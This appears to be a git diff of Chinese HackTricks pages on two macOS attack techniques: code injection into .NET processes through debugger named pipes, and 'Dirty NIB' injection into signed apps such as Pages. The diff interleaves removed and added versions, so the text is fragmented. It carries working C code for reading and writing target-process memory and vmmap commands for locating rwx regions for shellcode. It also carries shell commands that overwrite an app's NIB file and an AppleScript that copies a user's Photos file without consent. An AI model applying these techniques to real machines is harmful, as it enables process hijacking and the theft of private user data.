<summary><strong>从零开始学习AWS黑客攻击,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
||||||
|
|
||||||
支持HackTricks的其他方式:
|
|
||||||
|
|
||||||
* 如果您希望在**HackTricks**中看到您的**公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
|
||||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
|
||||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
|
||||||
|
|
||||||
</details>
|
|
||||||
|
|
|
@ -1,204 +1,115 @@
|
||||||
# macOS .Net 应用程序注入
|
# macOS .Net应用程序注入
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>从零开始学习 AWS 黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
支持 HackTricks 的其他方式:
|
支持HackTricks的其他方式:
|
||||||
|
|
||||||
* 如果您想在 HackTricks 中看到您的**公司广告**或**下载 HackTricks 的 PDF 版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
- 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||||
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFT 集合**](https://opensea.io/collection/the-peass-family)
|
- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
|
||||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
- **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
## .NET Core 调试 <a href="#net-core-debugging" id="net-core-debugging"></a>
|
**这是文章[https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/)的摘要。请查看获取更多详细信息!**
|
||||||
|
|
||||||
|
## .NET Core调试 <a href="#net-core-debugging" id="net-core-debugging"></a>
|
||||||
|
|
||||||
### **建立调试会话** <a href="#net-core-debugging" id="net-core-debugging"></a>
|
### **建立调试会话** <a href="#net-core-debugging" id="net-core-debugging"></a>
|
||||||
|
|
||||||
[**dbgtransportsession.cpp**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp) 负责处理调试器到被调试者的**通信**。\
|
在.NET中,调试器和被调试程序之间的通信由[**dbgtransportsession.cpp**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp)管理。该组件为每个.NET进程设置两个命名管道,如[dbgtransportsession.cpp#L127](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L127)中所示,这些管道通过[twowaypipe.cpp#L27](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/debug-pal/unix/twowaypipe.cpp#L27)启动。这些管道的后缀分别为**`-in`**和**`-out`**。
|
||||||
它通过调用 [twowaypipe.cpp#L27](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/debug-pal/unix/twowaypipe.cpp#L27) 在 [dbgtransportsession.cpp#L127](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L127) 创建每个 .Net 进程的两个命名管道(一个以 **`-in`** 结尾,另一个以 **`-out`** 结尾,其余名称相同)。
|
|
||||||
|
|
||||||
因此,如果您转到用户的 **`$TMPDIR`**,您将能够找到可以用来调试 .Net 应用程序的**调试 fifo**:
|
通过访问用户的**`$TMPDIR`**,可以找到用于调试.Net应用程序的调试FIFO。
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
[**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259)负责管理来自调试器的通信。要启动新的调试会话,调试器必须通过以`MessageHeader`结构开头的`out`管道发送消息,详细信息请参阅.NET源代码:
|
||||||
|
|
||||||
函数 [**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259) 将处理来自调试器的通信。
|
|
||||||
|
|
||||||
调试器需要做的第一件事是**创建一个新的调试会话**。这是通过**通过 `out` 管道发送消息**来完成的,消息以 `MessageHeader` 结构开始,我们可以从 .NET 源代码中获取:
|
|
||||||
```c
|
```c
|
||||||
struct MessageHeader
|
struct MessageHeader {
|
||||||
{
|
MessageType m_eType; // Message type
|
||||||
MessageType m_eType; // Type of message this is
|
DWORD m_cbDataBlock; // Size of following data block (can be zero)
|
||||||
DWORD m_cbDataBlock; // Size of data block that immediately follows this header (can be zero)
|
DWORD m_dwId; // Message ID from sender
|
||||||
DWORD m_dwId; // Message ID assigned by the sender of this message
|
DWORD m_dwReplyId; // Reply-to Message ID
|
||||||
DWORD m_dwReplyId; // Message ID that this is a reply to (used by messages such as MT_GetDCB)
|
DWORD m_dwLastSeenId; // Last seen Message ID by sender
|
||||||
DWORD m_dwLastSeenId; // Message ID last seen by sender (receiver can discard up to here from send queue)
|
DWORD m_dwReserved; // Reserved for future (initialize to zero)
|
||||||
DWORD m_dwReserved; // Reserved for future expansion (must be initialized to zero and
|
|
||||||
// never read)
|
|
||||||
union {
|
union {
|
||||||
struct {
|
struct {
|
||||||
DWORD m_dwMajorVersion; // Protocol version requested/accepted
|
DWORD m_dwMajorVersion; // Requested/accepted protocol version
|
||||||
DWORD m_dwMinorVersion;
|
DWORD m_dwMinorVersion;
|
||||||
} VersionInfo;
|
} VersionInfo;
|
||||||
...
|
...
|
||||||
} TypeSpecificData;
|
} TypeSpecificData;
|
||||||
|
|
||||||
BYTE m_sMustBeZero[8];
|
BYTE m_sMustBeZero[8];
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
在新会话请求的情况下,此结构体按如下方式填充:
|
要请求一个新会话,需要按照以下方式填充这个结构,将消息类型设置为 `MT_SessionRequest`,将协议版本设置为当前版本:
|
||||||
```c
|
```c
|
||||||
static const DWORD kCurrentMajorVersion = 2;
|
static const DWORD kCurrentMajorVersion = 2;
|
||||||
static const DWORD kCurrentMinorVersion = 0;
|
static const DWORD kCurrentMinorVersion = 0;
|
||||||
|
|
||||||
// Set the message type (in this case, we're establishing a session)
|
// Configure the message type and version
|
||||||
sSendHeader.m_eType = MT_SessionRequest;
|
sSendHeader.m_eType = MT_SessionRequest;
|
||||||
|
|
||||||
// Set the version
|
|
||||||
sSendHeader.TypeSpecificData.VersionInfo.m_dwMajorVersion = kCurrentMajorVersion;
|
sSendHeader.TypeSpecificData.VersionInfo.m_dwMajorVersion = kCurrentMajorVersion;
|
||||||
sSendHeader.TypeSpecificData.VersionInfo.m_dwMinorVersion = kCurrentMinorVersion;
|
sSendHeader.TypeSpecificData.VersionInfo.m_dwMinorVersion = kCurrentMinorVersion;
|
||||||
|
|
||||||
// Finally set the number of bytes which follow this header
|
|
||||||
sSendHeader.m_cbDataBlock = sizeof(SessionRequestData);
|
sSendHeader.m_cbDataBlock = sizeof(SessionRequestData);
|
||||||
```
|
```
|
||||||
构建完成后,我们使用 `write` 系统调用**将其发送给目标**:
|
这个标头随后使用`write`系统调用发送到目标,接着是包含会话GUID的`sessionRequestData`结构体:
|
||||||
```c
|
```c
|
||||||
write(wr, &sSendHeader, sizeof(MessageHeader));
|
write(wr, &sSendHeader, sizeof(MessageHeader));
|
||||||
```
|
|
||||||
遵循我们的标题,我们需要发送一个 `sessionRequestData` 结构体,其中包含一个 GUID 来识别我们的会话:
|
|
||||||
```c
|
|
||||||
// All '9' is a GUID.. right??
|
|
||||||
memset(&sDataBlock.m_sSessionID, 9, sizeof(SessionRequestData));
|
memset(&sDataBlock.m_sSessionID, 9, sizeof(SessionRequestData));
|
||||||
|
|
||||||
// Send over the session request data
|
|
||||||
write(wr, &sDataBlock, sizeof(SessionRequestData));
|
write(wr, &sDataBlock, sizeof(SessionRequestData));
|
||||||
```
|
```
|
||||||
在发送我们的会话请求后,我们**从`out`管道读取一个头部**,该头部将指示我们的请求是否成功地建立了一个调试器会话:
|
读取`out`管道上的操作确认了调试会话建立的成功或失败:
|
||||||
```c
|
```c
|
||||||
read(rd, &sReceiveHeader, sizeof(MessageHeader));
|
read(rd, &sReceiveHeader, sizeof(MessageHeader));
|
||||||
```
|
```
|
||||||
### 读取内存
|
## 读取内存
|
||||||
|
一旦建立了调试会话,就可以使用[`MT_ReadMemory`](https://github.com/dotnet/runtime/blob/f3a45a91441cf938765bafc795cbf4885cad8800/src/coreclr/src/debug/shared/dbgtransportsession.cpp#L1896)消息类型来读取内存。readMemory函数进行了详细说明,执行了发送读取请求和检索响应的必要步骤:
|
||||||
在建立了调试会话后,可以使用消息类型 [`MT_ReadMemory`](https://github.com/dotnet/runtime/blob/f3a45a91441cf938765bafc795cbf4885cad8800/src/coreclr/src/debug/shared/dbgtransportsession.cpp#L1896) 来**读取内存**。要读取一些内存,主要需要的代码将是:
|
|
||||||
```c
|
```c
|
||||||
bool readMemory(void *addr, int len, unsigned char **output) {
|
bool readMemory(void *addr, int len, unsigned char **output) {
|
||||||
|
// Allocation and initialization
|
||||||
*output = (unsigned char *)malloc(len);
|
...
|
||||||
if (*output == NULL) {
|
// Write header and read response
|
||||||
return false;
|
...
|
||||||
}
|
// Read the memory from the debuggee
|
||||||
|
...
|
||||||
sSendHeader.m_dwId++; // We increment this for each request
|
|
||||||
sSendHeader.m_dwLastSeenId = sReceiveHeader.m_dwId; // This needs to be set to the ID of our previous response
|
|
||||||
sSendHeader.m_dwReplyId = sReceiveHeader.m_dwId; // Similar to above, this indicates which ID we are responding to
|
|
||||||
sSendHeader.m_eType = MT_ReadMemory; // The type of request we are making
|
|
||||||
sSendHeader.TypeSpecificData.MemoryAccess.m_pbLeftSideBuffer = (PBYTE)addr; // Address to read from
|
|
||||||
sSendHeader.TypeSpecificData.MemoryAccess.m_cbLeftSideBuffer = len; // Number of bytes to write
|
|
||||||
sSendHeader.m_cbDataBlock = 0;
|
|
||||||
|
|
||||||
// Write the header
|
|
||||||
if (write(wr, &sSendHeader, sizeof(sSendHeader)) < 0) {
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Read the response header
|
|
||||||
if (read(rd, &sReceiveHeader, sizeof(sSendHeader)) < 0) {
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Make sure that memory could be read before we attempt to read further
|
|
||||||
if (sReceiveHeader.TypeSpecificData.MemoryAccess.m_hrResult != 0) {
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
|
|
||||||
memset(*output, 0, len);
|
|
||||||
|
|
||||||
// Read the memory from the debugee
|
|
||||||
if (read(rd, *output, sReceiveHeader.m_cbDataBlock) < 0) {
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
|
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
概念验证(POC)代码可在[此处](https://gist.github.com/xpn/95eefc14918998853f6e0ab48d9f7b0b)找到。
|
完整的概念验证(POC)可以在[这里](https://gist.github.com/xpn/95eefc14918998853f6e0ab48d9f7b0b)找到。
|
||||||
|
|
||||||
### 写内存
|
## 写入内存
|
||||||
|
|
||||||
|
同样,可以使用`writeMemory`函数来写入内存。该过程涉及将消息类型设置为`MT_WriteMemory`,指定数据的地址和长度,然后发送数据:
|
||||||
```c
|
```c
|
||||||
bool writeMemory(void *addr, int len, unsigned char *input) {
|
bool writeMemory(void *addr, int len, unsigned char *input) {
|
||||||
|
// Increment IDs, set message type, and specify memory location
|
||||||
sSendHeader.m_dwId++; // We increment this for each request
|
...
|
||||||
sSendHeader.m_dwLastSeenId = sReceiveHeader.m_dwId; // This needs to be set to the ID of our previous response
|
// Write header and data, then read the response
|
||||||
sSendHeader.m_dwReplyId = sReceiveHeader.m_dwId; // Similar to above, this indicates which ID we are responding to
|
...
|
||||||
sSendHeader.m_eType = MT_WriteMemory; // The type of request we are making
|
// Confirm memory write was successful
|
||||||
sSendHeader.TypeSpecificData.MemoryAccess.m_pbLeftSideBuffer = (PBYTE)addr; // Address to write to
|
...
|
||||||
sSendHeader.TypeSpecificData.MemoryAccess.m_cbLeftSideBuffer = len; // Number of bytes to write
|
|
||||||
sSendHeader.m_cbDataBlock = len;
|
|
||||||
|
|
||||||
// Write the header
|
|
||||||
if (write(wr, &sSendHeader, sizeof(sSendHeader)) < 0) {
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Write the data
|
|
||||||
if (write(wr, input, len) < 0) {
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Read the response header
|
|
||||||
if (read(rd, &sReceiveHeader, sizeof(sSendHeader)) < 0) {
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Ensure our memory write was successful
|
|
||||||
if (sReceiveHeader.TypeSpecificData.MemoryAccess.m_hrResult != 0) {
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
|
|
||||||
return true;
|
return true;
|
||||||
|
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
POC 代码可以在[这里](https://gist.github.com/xpn/7c3040a7398808747e158a25745380a5)找到。
|
关联的POC在[这里](https://gist.github.com/xpn/7c3040a7398808747e158a25745380a5)。
|
||||||
|
|
||||||
### .NET Core 代码执行 <a href="#net-core-code-execution" id="net-core-code-execution"></a>
|
## .NET Core代码执行 <a href="#net-core-code-execution" id="net-core-code-execution"></a>
|
||||||
|
|
||||||
首先要做的是例如识别一个具有 **`rwx`** 权限的内存区域来保存要运行的 shellcode。这可以很容易地完成:
|
要执行代码,需要识别具有rwx权限的内存区域,可以使用vmmap -pages来完成:
|
||||||
```bash
|
```bash
|
||||||
vmmap -pages [pid]
|
vmmap -pages [pid]
|
||||||
vmmap -pages 35829 | grep "rwx/rwx"
|
vmmap -pages 35829 | grep "rwx/rwx"
|
||||||
```
|
```
|
||||||
```markdown
|
在.NET Core中,定位要覆盖的函数指针位置是必要的,这可以通过针对**动态函数表(DFT)**来实现。这个表在[`jithelpers.h`](https://github.com/dotnet/runtime/blob/6072e4d3a7a2a1493f514cdf4be75a3d56580e84/src/coreclr/src/inc/jithelpers.h)中有详细说明,被运行时用于JIT编译辅助函数。
|
||||||
然后,为了触发执行,需要知道存储函数指针的某个位置以便覆盖它。可以覆盖 **动态函数表(DFT)** 中的指针,.NET Core 运行时使用它来为 JIT 编译提供帮助函数。支持的函数指针列表可以在 [`jithelpers.h`](https://github.com/dotnet/runtime/blob/6072e4d3a7a2a1493f514cdf4be75a3d56580e84/src/coreclr/src/inc/jithelpers.h) 中找到。
|
|
||||||
|
|
||||||
在 x64 版本中,使用 mimikatz 式的 **签名搜索** 技术来搜索 **`libcorclr.dll`** 中对符号 **`_hlpDynamicFuncTable`** 的引用是直接的,我们可以解引用:
|
对于x64系统,可以使用签名搜索来找到`libcorclr.dll`中对符号`_hlpDynamicFuncTable`的引用。
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
`MT_GetDCB`调试器函数提供了有用的信息,包括一个辅助函数`m_helperRemoteStartAddr`的地址,指示了`libcorclr.dll`在进程内存中的位置。然后使用这个地址来开始搜索DFT,并用shellcode的地址覆盖一个函数指针。
|
||||||
|
|
||||||
剩下的就是找到一个地址来开始我们的签名搜索。为此,我们利用另一个暴露的调试器函数,**`MT_GetDCB`**。这返回了目标进程的许多有用信息,但对我们来说,我们感兴趣的是返回的包含 **帮助函数地址** 的字段,**`m_helperRemoteStartAddr`**。使用这个地址,我们就知道 **`libcorclr.dll`** 在目标进程内存中的位置,我们可以开始搜索 DFT。
|
可以在[这里](https://gist.github.com/xpn/b427998c8b3924ab1d63c89d273734b6)找到用于注入到PowerShell的完整POC代码。
|
||||||
|
|
||||||
知道这个地址后,就可以用我们的 shellcode 的指针覆盖函数指针。
|
|
||||||
|
|
||||||
用于注入 PowerShell 的完整 POC 代码可以在[这里](https://gist.github.com/xpn/b427998c8b3924ab1d63c89d273734b6)找到。
|
|
||||||
|
|
||||||
## 参考资料
|
## 参考资料
|
||||||
|
|
||||||
* 这项技术取自 [https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/)
|
* [https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/)
|
||||||
|
|
||||||
<details>
|
|
||||||
|
|
||||||
<summary><strong>从零开始学习 AWS 黑客攻击直到成为专家,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
|
||||||
|
|
||||||
支持 HackTricks 的其他方式:
|
|
||||||
|
|
||||||
* 如果你想在 **HackTricks** 中看到你的**公司广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
|
||||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
|
||||||
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFT 集合**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
|
||||||
* **通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享你的黑客技巧。**
|
|
||||||
|
|
||||||
</details>
|
|
||||||
```
|
|
||||||
|
|
|
@ -2,128 +2,70 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>零基础学习AWS黑客技术直至成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
支持HackTricks的其他方式:
|
支持HackTricks的其他方式:
|
||||||
|
|
||||||
* 如果您希望在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。**
|
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
**此技术摘自帖子** [**https://blog.xpnsec.com/dirtynib/**](https://blog.xpnsec.com/dirtynib/)
|
**有关该技术的更多详细信息,请查看原始帖子:[https://blog.xpnsec.com/dirtynib/**](https://blog.xpnsec.com/dirtynib/)**。以下是摘要:
|
||||||
|
|
||||||
## 基本信息
|
NIB文件是苹果开发生态系统的一部分,用于定义应用程序中的**UI元素**及其交互。它们包含诸如窗口和按钮之类的序列化对象,并在运行时加载。尽管它们仍在使用中,但苹果现在倡导使用Storyboards来更全面地可视化UI流程。
|
||||||
|
|
||||||
NIB文件在苹果的开发生态系统中用于**定义用户界面(UI)元素**及其在应用程序中的交互。这些文件是使用Interface Builder工具创建的,包含**序列化对象**,如窗口、按钮和文本字段,这些对象在运行时加载以展示设计的UI。尽管NIB文件仍在使用中,苹果已经开始推荐使用Storyboards来更直观地表示应用程序的UI流程。
|
### NIB文件的安全问题
|
||||||
|
需要注意的是**NIB文件可能存在安全风险**。它们有可能**执行任意命令**,而对应用程序中NIB文件的更改不会阻止Gatekeeper执行该应用程序,构成重大威胁。
|
||||||
|
|
||||||
{% hint style="danger" %}
|
### Dirty NIB注入过程
|
||||||
此外,**NIB文件**也可以用来**运行任意命令**,如果应用中的NIB文件被修改,**Gatekeeper仍然允许执行该应用**,因此它们可以用来**在应用程序内运行任意命令**。
|
#### 创建和设置NIB文件
|
||||||
{% endhint %}
|
1. **初始设置**:
|
||||||
|
- 使用XCode创建一个新的NIB文件。
|
||||||
|
- 向界面添加一个对象,并将其类设置为`NSAppleScript`。
|
||||||
|
- 通过用户定义的运行时属性配置初始的`source`属性。
|
||||||
|
|
||||||
## Dirty NIB注入 <a href="#dirtynib" id="dirtynib"></a>
|
2. **代码执行小工具**:
|
||||||
|
- 设置可按需运行AppleScript。
|
||||||
|
- 集成一个按钮来激活`Apple Script`对象,特别触发`executeAndReturnError:`选择器。
|
||||||
|
|
||||||
首先我们需要创建一个新的NIB文件,我们将使用XCode来完成大部分构建工作。我们开始通过向界面添加一个对象,并将类设置为NSAppleScript:
|
3. **测试**:
|
||||||
|
- 用于测试目的的简单Apple Script:
|
||||||
<figure><img src="../../../.gitbook/assets/image (681).png" alt="" width="380"><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
对于该对象,我们需要设置初始的`source`属性,我们可以使用用户定义的运行时属性来完成:
|
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (682).png" alt="" width="563"><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
这样就建立了我们的代码执行小工具,它将在请求时**运行AppleScript**。为了实际触发AppleScript的执行,我们现在只添加一个按钮(当然,你可以在这方面发挥创意;)。按钮将绑定到我们刚刚创建的`Apple Script`对象,并将**调用`executeAndReturnError:`选择器**:
|
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (683).png" alt="" width="563"><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
为了测试,我们将只使用Apple Script代码:
|
|
||||||
```bash
|
```bash
|
||||||
set theDialogText to "PWND"
|
set theDialogText to "PWND"
|
||||||
display dialog theDialogText
|
display dialog theDialogText
|
||||||
```
|
```
|
||||||
如果我们在XCode调试器中运行这个并点击按钮:
|
- 在XCode调试器中运行并单击按钮进行测试。
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (684).png" alt="" width="563"><figcaption></figcaption></figure>
|
#### 针对应用程序的攻击(示例:Pages)
|
||||||
|
1. **准备工作**:
|
||||||
|
- 将目标应用程序(例如Pages)复制到一个单独的目录中(例如`/tmp/`)。
|
||||||
|
- 启动应用程序以规避Gatekeeper问题并缓存它。
|
||||||
|
|
||||||
有了从NIB执行任意AppleScript代码的能力,我们接下来需要一个目标。让我们选择Pages作为我们的初始演示目标,这当然是一个苹果应用程序,理论上不应该被我们修改。
|
2. **覆盖NIB文件**:
|
||||||
|
- 用精心制作的DirtyNIB文件替换现有的NIB文件(例如About Panel NIB)。
|
||||||
|
|
||||||
我们将首先将应用程序复制到`/tmp/`目录:
|
3. **执行**:
|
||||||
```bash
|
- 通过与应用程序交互(例如选择`About`菜单项)来触发执行。
|
||||||
cp -a -X /Applications/Pages.app /tmp/
|
|
||||||
```
|
|
||||||
然后我们将启动应用程序以避免任何Gatekeeper问题,并允许内容被缓存:
|
|
||||||
```bash
|
|
||||||
open -W -g -j /Applications/Pages.app
|
|
||||||
```
|
|
||||||
在第一次启动(并终止)应用程序后,我们需要用我们的DirtyNIB文件覆盖一个现有的NIB文件。为了演示目的,我们将覆盖关于面板NIB,这样我们可以控制执行过程:
|
|
||||||
```bash
|
|
||||||
cp /tmp/Dirty.nib /tmp/Pages.app/Contents/Resources/Base.lproj/TMAAboutPanel.nib
|
|
||||||
```
|
|
||||||
一旦我们覆盖了nib,我们可以通过选择`About`菜单项来触发执行:
|
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (685).png" alt="" width="563"><figcaption></figcaption></figure>
|
#### 概念验证:访问用户数据
|
||||||
|
- 修改AppleScript以访问和提取用户数据,例如照片,而无需用户同意。
|
||||||
|
|
||||||
如果我们更仔细地观察Pages,我们会发现它有一个私有权限,允许访问用户的Photos:
|
### 代码示例:恶意.xib文件
|
||||||
|
- 访问并查看一个[**恶意.xib文件的示例**](https://gist.github.com/xpn/16bfbe5a3f64fedfcc1822d0562636b4),演示执行任意代码。
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (686).png" alt="" width="479"><figcaption></figcaption></figure>
|
### 处理启动约束
|
||||||
|
- 启动约束阻止应用程序从意外位置(例如`/tmp`)执行。
|
||||||
|
- 可以识别未受启动约束保护的应用程序,并针对它们进行NIB文件注入。
|
||||||
|
|
||||||
因此,我们可以通过**修改我们的AppleScript来窃取用户的照片**,而不提示用户,来测试我们的POC:
|
### 其他macOS保护措施
|
||||||
|
从macOS Sonoma开始,限制了在应用程序包内部进行修改。但是,早期的方法包括:
|
||||||
|
1. 将应用程序复制到不同位置(例如`/tmp/`)。
|
||||||
|
2. 重命名应用程序包内的目录以绕过初始保护。
|
||||||
|
3. 运行应用程序以向Gatekeeper注册后,修改应用程序包(例如用Dirty.nib替换MainMenu.nib)。
|
||||||
|
4. 将目录重新命名并重新运行应用程序以执行注入的NIB文件。
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
**注意**:最近的macOS更新通过防止Gatekeeper缓存后应用程序包内的文件修改来减轻了此漏洞,使该漏洞失效。
|
||||||
```applescript
|
|
||||||
use framework "Cocoa"
|
|
||||||
use framework "Foundation"
|
|
||||||
|
|
||||||
set grabbed to current application's NSData's dataWithContentsOfFile:"/Users/xpn/Pictures/Photos Library.photoslibrary/originals/6/68CD9A98-E591-4D39-B038-E1B3F982C902.gif"
|
|
||||||
|
|
||||||
grabbed's writeToFile:"/Users/xpn/Library/Containers/com.apple.iWork.Pages/Data/wtf.gif" atomically:1
|
|
||||||
```
|
|
||||||
{% endcode %}
|
|
||||||
|
|
||||||
{% hint style="danger" %}
|
|
||||||
[**恶意 .xib 文件执行任意代码示例。**](https://gist.github.com/xpn/16bfbe5a3f64fedfcc1822d0562636b4)
|
|
||||||
{% endhint %}
|
|
||||||
|
|
||||||
## 创建你自己的 DirtyNIB
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
## 启动限制
|
|
||||||
|
|
||||||
